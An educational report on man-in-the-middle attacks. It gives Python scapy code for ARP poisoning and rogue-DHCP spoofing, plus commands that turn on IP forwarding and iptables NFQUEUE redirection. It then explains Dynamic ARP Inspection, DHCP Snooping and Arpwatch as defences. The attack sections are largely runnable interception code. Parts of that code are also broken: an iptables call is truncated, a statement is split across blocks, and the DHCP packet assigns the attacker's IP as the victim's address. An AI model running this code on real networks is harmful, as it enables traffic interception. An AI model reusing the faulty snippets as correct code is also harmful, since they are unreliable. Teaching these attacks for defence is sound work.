Experimenting with Man-In-The-Middle (MITM) Attacks and Countermeasures: An Educational Approach

Abstract:

This document presents an in-depth exploration of Man-In-The-Middle (MITM) attacks, specifically focusing on Address Resolution Protocol (ARP) Poisoning and Dynamic Host Configuration Protocol (DHCP) Spoofing. The study aims to provide a clear understanding of these attacks from both general and technical perspectives, thereby making it accessible to readers with varying levels of expertise. The report outlines the simulation of these attacks using a custom Python package, capturing the real-time application and impact of such network threats. In addition to understanding these attacks, the study also delves into a detailed analysis of countermeasures, including Dynamic ARP Inspection (DAI), DHCP Snooping, and the Arpwatch tool, explaining their roles in securing network infrastructure. By emphasizing practical exposure alongside theoretical learning, the document serves as an effective educational resource for understanding, identifying, and countering MITM attacks. It is intended to contribute to the broader field of network security, offering insights for network administrators, cybersecurity enthusiasts, and academics alike in their ongoing efforts to ensure robust network protection.

1. General Description of MITM Attacks and Their Consequences

MITM attacks occur when an attacker intercepts and potentially alters the communication between two parties without their knowledge. In the context of networks, a common method is ARP Poisoning. ARP Poisoning is an attack in which an attacker sends falsified ARP messages over a local area network (LAN) to link the attacker's MAC address with the IP address of a legitimate computer or server on the network. Once the attacker's MAC address is connected to an authentic IP address, the attacker will begin receiving any data that is intended for that IP address. The other MITM attack type that can be considered is a DHCP-based attack. In this case, the attacker impersonates a DHCP server to provide the victim's computer with an IP address, placing themselves as the default gateway for the victim's traffic, hence intercepting all data. Both these attacks can result in severe consequences, such as unauthorized data access, data manipulation, and denial of service (DoS), among other

2. Technical Description of MITM Attacks

Man-In-The-Middle (MITM) attacks are security breaches that occur when an attacker intercepts and potentially modifies communication between two parties without their knowledge. Two specific types of MITM attacks are ARP Poisoning and DHCP Spoofing. Here, we delve into the technical aspects of these two attacks and their associated Python scripts.

2.1 ARP Poisoning

ARP Poisoning is a type of cyber attack conducted over LAN. The attacker sends falsified ARP (Address Resolution Protocol) messages to the network. Consequently, the attacker's MAC address gets linked with the IP address of a legitimate computer or server on the network.

Here is an associated Python script that creates and sends the falsified ARP message:

```
import scapy.all as scapy

def arp_spoof(target_ip, target_mac, spoof_ip,
spoof_mac):
    arp_packet = scapy.ARP(op=2, pdst=target_ip,
hwdst=target_mac, psrc=spoof_ip, hwsrc=spoof_mac)
    scapy.send(arp_packet, verbose=False)
```

```
   print("Sent ARP packet from", spoof_ip, "to",
target_ip)
```

The arp_spoof function creates and sends an ARP packet that links the attacker's MAC address (spoof_mac) with the IP address of a legitimate network participant (target_ip).

2.2 DHCP Spoofing

In DHCP Spoofing, the attacker runs a rogue DHCP server on the network and responds to DHCP requests from other devices. The rogue server provides the victim with a valid IP address but with a twist. It sets the attacker's IP as the default gateway, which means all the victim's outbound traffic will pass through the attacker's machine, and thus the attacker can easily intercept the data.

Here is the Python code that performs DHCP spoofing:

```
import scapy.all as scapy

def dhcp_spoof(target_ip, target_mac, spoof_ip, spoof_mac):
   dhcp_packet = (
       scapy.Ether(dst=target_mac, src=spoof_mac) /
       scapy.IP(src=spoof_ip, dst=target_ip) /
       scapy.UDP(sport=67, dport=68) /
       scapy.BOOTP(op=2, yiaddr=spoof_ip, siaddr=spoof_ip,
chaddr=target_mac) /
       scapy.DHCP(options=[('message-type', 'ack'),
('server_id', spoof_ip), ('router', spoof_ip)])
   )
   scapy.send(dhcp_packet, verbose=False)
   print("Sent DHCP ACK packet from", spoof_ip, "to",
target_ip)
```

The dhcp_spoof function crafts a DHCP ACK packet that includes the attacker's MAC and IP (spoof_mac and spoof_ip), then sends this packet to the victim's machine (target_ip and target_mac). The sent packet convinces the victim machine that the spoof IP is the IP of a trusted DHCP server.

To ensure that these attacks are successful, it is necessary to enable IP forwarding on the attacking machine. The code to enable and disable IP forwarding is as follows:

```
import subprocess

def enable_ip_forwarding():
   subprocess.call(["sysctl", "-w",
"net.ipv4.ip_forward=1"])
   subprocess.call(["iptables", "-I", "FORWARD", "-j",
"NFQUEUE", "--queue-num", "1"])

def disable_ip_forwarding():
   subprocess.call(["sysctl", "-w",
"net.ipv4.ip_forward=0"])
   subprocess.call(["iptables", "-D", "FORWARD", "-j",
"NFQUEUE",
```

3. Python Package for Simulating MITM Attacks

The Python package is designed to simulate and demonstrate the execution of Man-In-The-Middle attacks, particularly focusing on ARP Poisoning and DHCP-based MITM attacks. This package uses the scapy library, a powerful Python-based interactive packet manipulation program and library. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, and match requests and replies.

```
import scapy.all as scapy

def arp_spoof(target_ip, target_mac, spoof_ip,
spoof_mac):
   arp_packet = scapy.ARP(op=2, pdst=target_ip,
hwdst=target_mac, psrc=spoof_ip, hwsrc=spoof_mac)
   scapy.send(arp_packet, verbose=False)
   print("Sent ARP packet from", spoof_ip, "to",
target_ip)
```

```
def restore(target_ip, target_mac, spoof_ip,
spoof_mac):
   target_packet = scapy.ARP(op=2, pdst=target_ip,
hwdst=target_mac, psrc=spoof_ip, hwsrc=spoof_mac)
   spoof_packet = scapy.ARP(op=2, pdst=spoof_ip,
hwdst=spoof_mac, psrc=target_ip, hwsrc=target_mac)

   scapy.send(target_packet, verbose=False)
   scapy.send(spoof_packet, verbose=False)
   print("Sent ARP packets to restore ARP tables")
```

3.1 Arp_spoof

The arp_spoof function creates and sends an ARP packet from the spoof IP and MAC address to the target IP and MAC address. This packet tricks the target machine into thinking that the spoof IP is the IP of a trusted machine on the network, causing it to send its network traffic to the machine with the spoof MAC address (the attacker's machine).

3.2 Restore

The restore function sends ARP packets that restore the ARP tables of the target and spoofed IP addresses to their original state. This is important for undoing the effects of the ARP spoofing attack and returning the network to normal. After the simulation of these attacks in a controlled environment, the user will have a clear understanding of how they are executed. The package provides an excellent means of practical learning.

4. Technical Description of Countermeasures Against MITM Attacks

Protection against MITM attacks relies on deploying security mechanisms to validate, authenticate, and verify the identity and legitimacy of network communication. Below, we will discuss the technical aspects of Dynamic ARP Inspection (DAI), DHCP Snooping, and the arpwatch tool. These methods are effective in protecting a network against the ARP Poisoning and DHCP Spoofing attacks discussed earlier.

4.1 Dynamic ARP Inspection (DAI)

Dynamic ARP Inspection (DAI) is a security feature that protects against ARP Poisoning. It validates ARP packets in a network and discards those that are invalid.

DAI is effective against the ARP spoofing method mentioned earlier. By inspecting the ARP packets and cross-verifying them against a trusted database of IP-MAC pairs (DHCP Snooping Binding Database), DAI can prevent attackers from associating their MAC address with the IP address of a legitimate network participant. The integration of DAI in network switches and routers helps to automatically discard ARP packets with invalid IP-to-MAC address bindings, effectively mitigating the impact of ARP Poisoning.

4.2 DHCP Snooping

DHCP Snooping acts as a firewall between untrusted hosts and trusted DHCP servers. It can mitigate DHCP-based MITM attacks, including DHCP spoofing attacks. DHCP Snooping operates by differentiating between trusted and untrusted DHCP messages. Only responses (OFFER, ACK) from trusted sources, such as legitimate DHCP servers, are allowed, while others are discarded. This prevents an attacker from setting up a rogue DHCP server and distributing malicious network configuration. The dhcp_spoof function in the Python script sends DHCP ACK packets that mimic those from a trusted DHCP server. With DHCP Snooping, the switch will reject these packets, preventing the victim's machine from receiving a malicious configuration.

4.3 Arpwatch Tool

Arpwatch is a tool that monitors Ethernet activity and keeps track of Ethernet/IP address pairings. It reports any changes detected, such as flip-flops, new activity, and changes to a MAC address or an IP number through email alerts. If an attacker tries to perform an ARP spoofing attack as demonstrated by the arp_spoof Python function, Arpwatch can quickly alert network administrators about the change in IP-MAC binding. This swift alert allows for rapid detection and response to potential attacks. Implementing these countermeasures can help protect your network against MITM attacks. It is vital to remember that maintaining network security is a continuous process and requires regular monitoring, updating, and upgrading of security protocols and infrastructure.

Conclusion

This comprehensive exploration of Man-In-The-Middle (MITM) attacks, carried out in a safe and controlled setting, has afforded us invaluable insights into the intricacies of these network threats. By simulating these attacks, we have unravelled their mechanisms, observed their potential consequences firsthand, and, most importantly, learned how to counteract them effectively. The development and application of the Python package were instrumental in this learning process. By offering a hands-on, interactive platform, the package has empowered us to not only grasp the theoretical aspects but also to bridge the gap to practical application.

However, it's vital to understand that these simulations serve an educational purpose. Our goal is not to encourage malicious practices, but rather to foster a comprehensive understanding of these threats. Knowing how these attacks work is the key to developing robust security measures and fostering a safer cyber landscape. In the evolving world of cybersecurity, knowledge is our best defence. Through understanding these threats and countermeasures, we are better equipped to secure our networks against ARP Poisoning and DHCP Spoofing attacks, thereby ensuring the integrity and safety of our data.

As we move forward, let's carry these learnings into our continuous pursuit of enhanced network security. We hope this document serves as a useful resource for network administrators, cybersecurity enthusiasts, and students alike. Remember, cybersecurity is not a destination but a journey that requires consistent learning, updating, and adaptability.